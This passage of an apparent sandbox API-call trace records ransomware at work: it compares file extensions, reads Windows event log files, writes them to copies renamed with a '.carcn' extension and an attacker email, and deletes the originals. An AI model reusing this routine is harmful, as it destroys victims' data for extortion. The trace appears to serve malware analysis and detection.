returned -1 [0180.262] lstrlenW (lpString=".xls") returned 4 [0180.262] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.262] lstrlenW (lpString=".xlsx") returned 5 [0180.262] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.262] lstrlenW (lpString=".ppt") returned 4 [0180.262] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.262] lstrlenW (lpString=".zip") returned 4 [0180.262] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.262] lstrlenW (lpString=".rar") returned 4 [0180.262] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.262] lstrlenW (lpString=".bz2") returned 4 [0180.262] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.262] lstrlenW (lpString=".7z") returned 3 [0180.262] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.263] lstrlenW (lpString=".dbf") returned 4 [0180.263] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.263] lstrlenW (lpString=".1cd") returned 4 [0180.263] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.263] lstrlenW (lpString=".jpg") returned 4 [0180.263] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.263] lstrlenW (lpString=".doc") returned 4 [0180.263] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString=".docx") returned 5 [0180.263] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.263] lstrlenW (lpString=".pdf") returned 4 [0180.263] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString=".xls") returned 4 [0180.263] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString=".xlsx") returned 5 [0180.263] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.263] lstrlenW (lpString=".ppt") returned 4 [0180.263] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.263] lstrlenW (lpString=".zip") returned 4 [0180.264] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.264] lstrlenW (lpString=".rar") returned 4 [0180.264] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.264] lstrlenW (lpString=".bz2") returned 4 [0180.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.264] lstrlenW (lpString=".7z") returned 3 [0180.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.264] lstrlenW (lpString=".dbf") returned 4 [0180.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.264] lstrlenW (lpString=".1cd") returned 4 [0180.264] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.264] lstrlenW (lpString=".jpg") returned 4 [0180.264] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.645] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.645] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0180.645] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.646] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.646] CloseHandle (hObject=0x36c) returned 1 [0180.646] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0180.646] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.646] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.646] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.647] GetLastError () returned 0x0 [0180.647] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.735] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.737] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.737] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x124, lpOverlapped=0x0) returned 1 [0180.737] SetEndOfFile (hFile=0x380) returned 1 [0180.740] CloseHandle (hObject=0x380) returned 1 [0180.742] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.742] SetEndOfFile (hFile=0x36c) returned 1 [0180.743] CloseHandle (hObject=0x36c) returned 1 [0180.743] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.743] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0180.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.745] lstrlenW (lpString=".doc") returned 4 [0180.745] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.745] lstrlenW (lpString=".docx") returned 5 [0180.745] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.745] lstrlenW (lpString=".pdf") returned 4 [0180.745] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.745] lstrlenW (lpString=".xls") returned 4 [0180.745] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.745] lstrlenW (lpString=".xlsx") returned 5 [0180.745] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.745] lstrlenW (lpString=".ppt") returned 4 [0180.745] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString=".zip") returned 4 [0180.746] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString=".rar") returned 4 [0180.746] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString=".bz2") returned 4 [0180.746] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString=".7z") returned 3 [0180.746] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString=".dbf") returned 4 [0180.746] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString=".1cd") returned 4 [0180.746] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString=".jpg") returned 4 [0180.746] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString=".doc") returned 4 [0180.746] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString=".docx") returned 5 [0180.746] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.746] lstrlenW (lpString=".pdf") returned 4 [0180.746] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString=".xls") returned 4 [0180.746] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString=".xlsx") returned 5 [0180.746] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.746] lstrlenW (lpString=".ppt") returned 4 [0180.746] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.746] lstrlenW (lpString=".zip") returned 4 [0180.746] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.747] lstrlenW (lpString=".rar") returned 4 [0180.747] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.747] lstrlenW (lpString=".bz2") returned 4 [0180.747] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.747] lstrlenW (lpString=".7z") returned 3 [0180.747] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.747] lstrlenW (lpString=".dbf") returned 4 [0180.747] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.747] lstrlenW (lpString=".1cd") returned 4 [0180.747] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0180.747] lstrlenW (lpString=".jpg") returned 4 [0180.747] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.747] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.747] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0180.747] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.750] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.750] CloseHandle (hObject=0x390) returned 1 [0180.750] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0180.750] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.750] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.750] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.750] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.750] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0180.759] GetLastError () returned 0x0 [0180.759] ReadFile (in: hFile=0x390, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.842] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.844] ReadFile (in: hFile=0x390, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.844] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x154, lpOverlapped=0x0) returned 1 [0180.844] SetEndOfFile (hFile=0x308) returned 1 [0180.844] CloseHandle (hObject=0x308) returned 1 [0180.846] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.846] SetEndOfFile (hFile=0x390) returned 1 [0180.848] CloseHandle (hObject=0x390) returned 1 [0180.848] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.848] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0180.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.848] lstrlenW (lpString=".doc") returned 4 [0180.848] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.848] lstrlenW (lpString=".docx") returned 5 [0180.849] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.849] lstrlenW (lpString=".pdf") returned 4 [0180.849] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString=".xls") returned 4 [0180.849] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString=".xlsx") returned 5 [0180.849] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.849] lstrlenW (lpString=".ppt") returned 4 [0180.849] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.849] lstrlenW (lpString=".zip") returned 4 [0180.849] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString=".rar") returned 4 [0180.849] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString=".bz2") returned 4 [0180.849] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString=".7z") returned 3 [0180.849] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.849] lstrlenW (lpString=".dbf") returned 4 [0180.849] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.849] lstrlenW (lpString=".1cd") returned 4 [0180.849] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.850] lstrlenW (lpString=".jpg") returned 4 [0180.850] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.850] lstrlenW (lpString=".doc") returned 4 [0180.850] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString=".docx") returned 5 [0180.850] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.850] lstrlenW (lpString=".pdf") returned 4 [0180.850] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString=".xls") returned 4 [0180.850] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString=".xlsx") returned 5 [0180.850] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.850] lstrlenW (lpString=".ppt") returned 4 [0180.850] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.850] lstrlenW (lpString=".zip") returned 4 [0180.850] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString=".rar") returned 4 [0180.850] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString=".bz2") returned 4 [0180.850] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.850] lstrlenW (lpString=".7z") returned 3 [0180.851] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.851] lstrlenW (lpString=".dbf") returned 4 [0180.851] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.851] lstrlenW (lpString=".1cd") returned 4 [0180.851] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0180.851] lstrlenW (lpString=".jpg") returned 4 [0180.851] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.851] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.851] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0180.851] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.852] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.852] CloseHandle (hObject=0x390) returned 1 [0180.852] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0180.852] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.852] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.852] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0180.862] GetLastError () returned 0x0 [0180.862] ReadFile (in: hFile=0x390, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.894] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.895] ReadFile (in: hFile=0x390, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.895] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x132, lpOverlapped=0x0) returned 1 [0180.896] SetEndOfFile (hFile=0x308) returned 1 [0180.896] CloseHandle (hObject=0x308) returned 1 [0180.904] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.904] SetEndOfFile (hFile=0x390) returned 1 [0180.905] CloseHandle (hObject=0x390) returned 1 [0180.905] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.906] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0180.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.906] lstrlenW (lpString=".doc") returned 4 [0180.906] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.906] lstrlenW (lpString=".docx") returned 5 [0180.906] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.906] lstrlenW (lpString=".pdf") returned 4 [0180.906] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.906] lstrlenW (lpString=".xls") returned 4 [0180.906] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.906] lstrlenW (lpString=".xlsx") returned 5 [0180.906] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.906] lstrlenW (lpString=".ppt") returned 4 [0180.907] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.907] lstrlenW (lpString=".zip") returned 4 [0180.907] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString=".rar") returned 4 [0180.907] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString=".bz2") returned 4 [0180.907] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString=".7z") returned 3 [0180.907] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.907] lstrlenW (lpString=".dbf") returned 4 [0180.907] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.907] lstrlenW (lpString=".1cd") returned 4 [0180.907] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.907] lstrlenW (lpString=".jpg") returned 4 [0180.907] lstrcmpiW (lpString1=".jpg", lpString2="evtx") 